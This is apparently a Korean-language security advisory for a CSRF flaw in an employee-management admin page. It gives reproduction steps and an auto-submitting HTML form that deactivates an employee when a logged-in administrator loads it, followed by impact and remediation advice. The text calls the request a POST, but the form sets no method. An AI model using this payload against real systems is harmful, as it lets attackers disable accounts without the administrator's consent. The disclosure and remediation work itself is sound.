
직원 관리(Manage Employees) 기능은 **사이트 간 요청 위조(CSRF)**에 취약합니다.
공격자는 로그인한 관리자가 자신의 인지나 동의 없이 직원을 비활성화하는 위조된 요청(예: inid=1)을 보내도록 속일 수 있습니다.
벡터 문자열: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
모듈: 관리자 패널 → 직원 → 직원 관리
작업: 직원 비활성화 (inid 매개변수 사용)
관리자로 로그인
/admin 엔드포인트로 이동하여 유효한 관리자 자격 증명으로 로그인합니다.
직원 관리 열기

비활성화 요청 캡처
프록시(예: Burp Suite)에서 인터셉트를 켭니다.
직원의 비활성화를 클릭하고 사용자를 비활성화하는 요청을 캡처합니다.
요청의 inid 매개변수를 확인합니다(예: inid=1).

CSRF PoC 생성
inid=1로 사용자 1을 비활성화하는 요청을 보내는 HTML 파일을 생성합니다.
피해자로 CSRF 트리거
HTML PoC를 브라우저에서 호스팅하거나 엽니다.
관리자가 애플리케이션에 로그인한 상태에서 이 PoC 페이지를 방문하고 양식을 제출하면 사용자 1이 비활성화됩니다.

효과 확인
관리자 대시보드 → 직원 관리로 돌아갑니다.
사용자 1이 이제 비활성화됨으로 표시된 것을 확인합니다.

다음은
inid매개변수를 사용하는POST요청을 가정한 일반적인 PoC입니다:
<html>
<body>
<form action="http://localhost/elms/admin/manageemployee.php">
<input type="hidden" name="inid" value="1" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
이 파일을 csrf_inactivate_emp1.html로 저장합니다.
이 파일을 전송/호스팅하고 인증된 관리자가 로드한 후 버튼을 클릭하도록 유도합니다.
공격자는 인증된 관리자가 악성 페이지를 방문하도록 속여 임의의 직원을 비활성화하도록 강제할 수 있습니다.
이로 인해 다음과 같은 결과가 발생할 수 있습니다:
사용자 계정의 가용성에 영향을 미치는 무단 계정 비활성화.
운영 중단(예: 중요 작업 중 직원 계정 비활성화).
다른 취약점과 결합한 잠재적 악용(예: 특정 모니터링 또는 권한 있는 계정 비활성화).
공격에 필요한 조건은 다음과 같습니다:
관리자가 로그인되어 있고,
관리자가 공격자가 제어하는 악성 URL/페이지를 방문해야 합니다(피싱, 삽입된 iframe, 악성 링크 등).
관리자 포털의 사용자 관리를 직접 조작한다는 점에서 이 문제는 **높은 심각도(High severity)**로 간주되어야 합니다.
CSRF 보호 토큰 구현
모든 상태 변경 요청(예: 비활성화, 삭제, 업데이트)에 암호학적으로 안전하고 예측 불가능한 CSRF 토큰을 추가합니다.
토큰을 양식의 숨은 필드로 포함합니다.
서버 측에서 다음을 검증합니다:
토큰 존재,
토큰 정확성,
토큰이 현재 사용자 세션과 연결되어 있는지.
토큰이 없거나 유효하지 않으면 요청을 거부합니다.
Same-Site 쿠키 사용
세션 쿠키에 SameSite=Lax 또는 가능하면 SameSite=Strict를 설정합니다.
이렇게 하면 사이트 간 요청에서 쿠키가 자동으로 전송되지 않아 CSRF 위험이 줄어듭니다.
적절한 HTTP 메서드 적용
직원 비활성화와 같은 모든 상태 변경 작업이 GET 대신 POST(또는 PUT/DELETE)를 사용하도록 합니다.
GET 매개변수를 통한 민감한 상태 변경을 허용하지 마세요.
Origin / Referer 헤더 검증
민감한 엔드포인트에서 요청이 신뢰할 수 있는 도메인에서 발생했는지 확인하기 위해 Origin 또는 Referer 헤더를 검증합니다.
헤더가 없거나 신뢰할 수 없는 출처에서 온 경우 요청을 거부합니다.
UI/워크플로 강화
민감한 작업(예: 관리자 역할을 가진 사용자 비활성화)에 대해 서버 측 확인 또는 재인증 절차를 추가합니다.
CSRF 시도가 있더라도 의도된 역할만 해당 작업을 수행할 수 있도록 적절한 인가 검사를 구현합니다.
보안 테스트
정기적인 보안 테스트(수동 및 자동)에 CSRF 점검을 통합합니다.
보호 조치 구현 후 이 엔드포인트(및 유사한 엔드포인트)를 다시 테스트하여 PoC가 더 이상 작동하지 않는지 확인합니다.